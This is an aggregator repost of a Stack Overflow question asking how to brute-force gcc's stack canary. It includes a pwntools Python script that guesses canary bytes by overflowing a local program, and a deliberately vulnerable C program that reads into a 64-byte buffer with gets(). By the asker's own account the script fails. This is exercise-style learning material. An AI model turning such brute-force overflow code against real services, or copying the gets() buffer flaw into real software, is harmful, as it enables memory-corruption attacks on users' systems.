Quantcast
Channel: Active questions tagged gcc - Stack Overflow
Viewing all articles
Browse latest Browse all 22113

How to bruteforce the stack canary

$
0
0

gcc implemented a stack protector, to protect programs for buffer overflows. I want to know, if its possible (and if it is how) to exploit this and run a buffer overflow. I created a simple python script, that should bruteforce the canary:

from pwn import *
import os

canary = ""
byte = 0x00

def brute():
    global canary
    global byte
    while byte != 0xff:
        p = process("./vuln")
        p.sendline("A"*64 + canary + chr(byte))
        reply=p.recvall()
        if "***" in reply:
            byte += 1
        else:
            canary += chr(byte)
            byte = 0x00
            break

brute()
brute()
brute()
brute()
print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)

The result was: Canary: \x0a\x00\x00\x00 and thats obviously not the canary.
The binary i used to hack:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}


Viewing all articles
Browse latest Browse all 22113

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>